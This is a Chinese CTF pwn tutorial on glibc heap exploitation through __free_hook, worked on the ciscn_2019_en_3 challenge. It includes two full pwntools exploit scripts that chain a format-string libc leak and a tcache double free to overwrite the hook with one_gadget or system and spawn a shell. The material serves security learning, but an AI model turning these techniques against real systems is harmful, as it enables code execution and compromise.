pwn题堆利用的一些姿势 -- free_hook
free_hook
- 概述
- 初级必备姿势
- 常规搭配姿势
- 按需进阶姿势
- 总结
pwn题堆利用的一些姿势 – malloc_hook
pwn题堆利用的一些姿势 – IO_FILE
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook
概述
在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。
初级必备姿势
下面介绍free_hook的初级必备姿势,free_hook是调用free函数之前会执行的钩子函数,利用方式和malloc_hook大同小异,所以建议学习这种利用方式之前先看下malloc_hook。熟练掌握malloc_hook的利用方式后,再看free_hook会觉得十分轻松,基本上感觉是换汤不换药。当然一般利用先想malloc_hook,毕竟堆题肯定是有malloc函数的,但却不一定有free函数,另外free_hook往上的内存数据中不一定存在0x7f的字节数据来帮助我们实现fast bin attack。
好,废话不多说,接下来以2019年ciscn_en_3的pwn题为例,介绍free_hook的利用姿势,远程环境可以在BUUCTF上找到。该题目环境为Ubuntu18,需要利用tcache机制中的double free,不熟悉的读者可以参见这篇博文,pwn题堆入门 – Tcache bin。
程序分析:该题目保护全开,64位程序,使用libc-2.27.so,程序本身去除了符号名,可以自己修复一下,接下来我们直接定位漏洞,其余不重要的细节此处不再赘述。如下图所示,程序主逻辑中开头中存在格式化字符串漏洞,但由于开启了FORTIFY保护,所以对利用方式有点影响。这里可以简单总结一下开了FORTIFY保护下的格式化字符串漏洞利用,首先这里无法再使用%n来实现任意地址写,然后是无法使用%d$p(d代表大于1的数字)进行地址泄露;但是可以像这样连续使用%p%p%p%p来泄露数据。具体利用方式参见下面的wp。
另外查阅了一下网上相关的wp,发现有前辈是利用了puts(s)函数的溢出,即如下图所示,栈上"aaaaaaaa"的部分即是s的位置,我们将此处填满到8字节,由于puts在打印时遇到"\x00"才会停止,所以会将紧邻的setbuffer函数的地址打印出来,这样我们也能获得libc的地址。
如下图所示,是程序主逻辑的地方,主要实现了增删查改四个功能,但其中edit和show并没有实现具体功能,然后add是正常实现了堆块的分配,不存在溢出,delete存在uaf漏洞,再下一张图即是delete功能的具体实现。
漏洞利用:首先利用printf格式化字符串漏洞泄露libc地址,计算出free_hook地址,然后利用tcache的double free将堆块分配到free_hook上,填写为one_gadget。
如下图所示,我们先看gdb调试的结果,首先是printf_chk的格式化利用,这里即将call的就是printf_chk,由于加了保护,所以该函数有两个参数,第一个参数0x1代表保护级别存入寄存器rdi,第二个参数才是我们输入的格式化利用字符串%p-%p-%p
存入寄存器rsi。我们可以看到寄存器rcx存放的是read+17的地址,根据64位linux下前6个寄存器传参的习惯(rdi/rsi/rdx/rcx/r8/r9),此处已经用了两个寄存器,所以第二个%p将会打印出rcx存放的值。到这里我们就获取到了libc上的地址,再根据libc计算出基地址和free_hook的地址即可。
如下图所示,第一张图展示了wp的执行结果,通过在wp中打印地址可以方便我们直接在gdb中进行断点调试和验证。第二张图展示了gdb的中结果,可以发现free_hook处已经被修改为了one_gadget的地址,当然这里运气不错,one_gadget的执行条件满足,接下来我们继续执行就可以获取到shell了。
这里给出wp。
from pwn import *ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
p = process([ld_path, "./ciscn_2019_en_3"], env={"LD_PRELOAD":libc_path})def add(size, con):p.recvuntil("Input your choice:")p.sendline("1")p.recvuntil("size of story: \n")p.sendline(str(size))p.recvuntil("inpute the story: \n")p.send(con)def free(index):p.recvuntil("Input your choice:")p.sendline("4")p.recvuntil("input the index:\n")p.sendline(str(index))# leak libc
pad = b"%p-%p-%p"
# pause()
p.send(pad)
p.recvuntil("-")
info = p.recvuntil("-", drop=True)
info = int(info.decode("ISO-8859-1"), 16)-17
print("read ", hex(info))# count addr
libc = ELF(libc_path)
read = libc.sym["read"]
base = info-read
print("base ", hex(base))
# m_hook = base+libc.sym["__malloc_hook"]
# print("m_hook ", hex(m_hook))
f_hook = base+libc.sym["__free_hook"]
print("f_hook ", hex(f_hook))
onegad = [0x4f2c5, 0x4f322, 0x10a38c]
onegad = base+onegad[1]
print("onegad ", hex(onegad))
# realloc = base+libc.sym["realloc"]
# print("realloc ", hex(realloc))p.recvuntil("Please input your ID.\n")
p.send("a")# alloc to libc
add(0x20, "a")
free(0)
free(0) # double free
add(0x20, p64(f_hook))
add(0x20, "aaaa")
add(0x20, p64(onegad))
pause()# attack
free(1)p.interactive()
常规搭配姿势
接下来介绍free_hook的搭配姿势,在free_hook中我们也可以像malloc_hook一样利用system执行system("/bin/sh\x00")来获取到shell。利用过程是将free_hook对应的值改为system的地址,然后free堆块,要求free的堆块中的内容是"/bin/sh\00",下面直接给出wp。
from pwn import *ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
p = process([ld_path, "./ciscn_2019_en_3"], env={"LD_PRELOAD":libc_path})def add(size, con):p.recvuntil("Input your choice:")p.sendline("1")p.recvuntil("size of story: \n")p.sendline(str(size))p.recvuntil("inpute the story: \n")p.send(con)def free(index):p.recvuntil("Input your choice:")p.sendline("4")p.recvuntil("input the index:\n")p.sendline(str(index))# leak libc
pad = b"%p-%p-%p"
# pause()
p.send(pad)
p.recvuntil("-")
info = p.recvuntil("-", drop=True)
info = int(info.decode("ISO-8859-1"), 16)-17
print("read ", hex(info))# count addr
libc = ELF(libc_path)
read = libc.sym["read"]
base = info-read
print("base ", hex(base))
# m_hook = base+libc.sym["__malloc_hook"]
# print("m_hook ", hex(m_hook))
f_hook = base+libc.sym["__free_hook"]
print("f_hook ", hex(f_hook))
onegad = [0x4f2c5, 0x4f322, 0x10a38c]
onegad = base+onegad[1]
print("onegad ", hex(onegad))
sys = base+libc.sym["system"]
print("system ", hex(sys))
# realloc = base+libc.sym["realloc"]
# print("realloc ", hex(realloc))p.recvuntil("Please input your ID.\n")
p.send("a")# alloc to libc
add(0x20, "a") # 0
free(0)
free(0)
add(0x20, p64(f_hook)) # 1
add(0x20, "/bin/sh\x00") # 2
add(0x20, p64(sys))
pause()# attack
free(1) # 0 1 2都是指向同一个堆块,所以可以free其中的任意一个p.interactive()
按需进阶姿势
这里按需进阶姿势和malloc_hook中的一样,即利用realloc来调整栈上的参数,满足one_gadget的执行条件。该进阶姿势的原理和用法我在malloc_hook中讲的十分详细,这里就不再另举例子说明,有需要的读者可以参考最上面的链接。
总结
free_hook和malloc_hook真有异曲同工之妙,整个利用思路也是一样的,对于本题目,读者也可以先试试malloc_hook的打法,最开始我也是先用的malloc_hook,然后发现使用realloc+malloc_hook+one_gadget本地调试成功后,远程也会报错,所以改用了free_hook。当然不用one_gadget,而是将malloc_hook改为system执行system()调用应该是可行的,大家可以动手试下,提升自己的熟练度。
不忘初心,砥砺前行!
pwn题堆利用的一些姿势 -- free_hook相关推荐
- pwn题堆利用的一些姿势 -- IO_FILE
IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...
- CTF pwn题堆入门 -- Unsorted bin
Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...
- 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3
[CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...
- CTF比赛PWN题sgtlibc通用快速解题框架
CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...
- CTF pwn题之格式化字符串漏洞详解
格式化字符串漏洞详解 概念 如何利用 基本利用方式讲解 常用payload总结 pwntools -- FmtStr类 求偏移 地址泄露 任意地址写 一个例子 总结 概念 格式化字符串漏洞的成因在 ...
- pwn在matlab中怎么搭建,PWN题搭建
0x00.准备题目 例如:level.c #include #include int main(){ char buffer[0x10] ={0}; setvbuf(stdout, NULL, _IO ...
- 2022年数维杯国际大学生数学建模挑战赛C题如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病解题过程
2022年数维杯国际大学生数学建模挑战赛 C题 如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病 原题再现: 阿尔茨海默病(AD)是一种起病隐匿的进行性神经退行性疾病.临床特征为全谱痴呆,包括记 ...
- CTF中关于pwn题如何加载目标libc的方法
问题:在做pwn题的过程中,我们经常会遇到题目提供libc,但是本地调试的时候加载的是本地libc. 解决方法: 方法1: 可以用添加环境变量的方法,如下: export LD_LIBRARY_PAT ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
最新文章
- 自定义监听器 java
- C++ Primer 5th笔记(chap 17 标准库特殊设施)regex_replace
- 二十八、Node.js中的RESTful API和接口设计
- 递归 图 java,《算法图解》之递归
- 删除已弃用的CMS垃圾收集器的JEP草案
- ESFramework介绍之(28)―― Udp组件
- 2019年在中国每个人都可能拥有百万元收入
- 初试 Windows Small Business Server 2003
- python处理excel教程视频-从零基础开始用Python处理Excel数据 视频教程
- PyCharm New environment和Existing environment
- Windows中获取用户密码
- 【论文简述及翻译】RAFT: Recurrent All-Pairs Field Transforms for Optical Flow(ECCV 2020)
- Telnet操作步骤
- H.264/H.265/H.266三代视频编码的图像划分
- NLP文本分析(文本分类与句子评分)
- vss 2005 手册
- 秋季31种常见病的预防
- Appium中使用swipe方法时候出现的问题建议使用flick方法
- 时间戳转换为yyyy-mm-dd hh:mm:ss格式
- [pig4cloud框架源码分析] 03 - MyBatis中的sql语句日志打印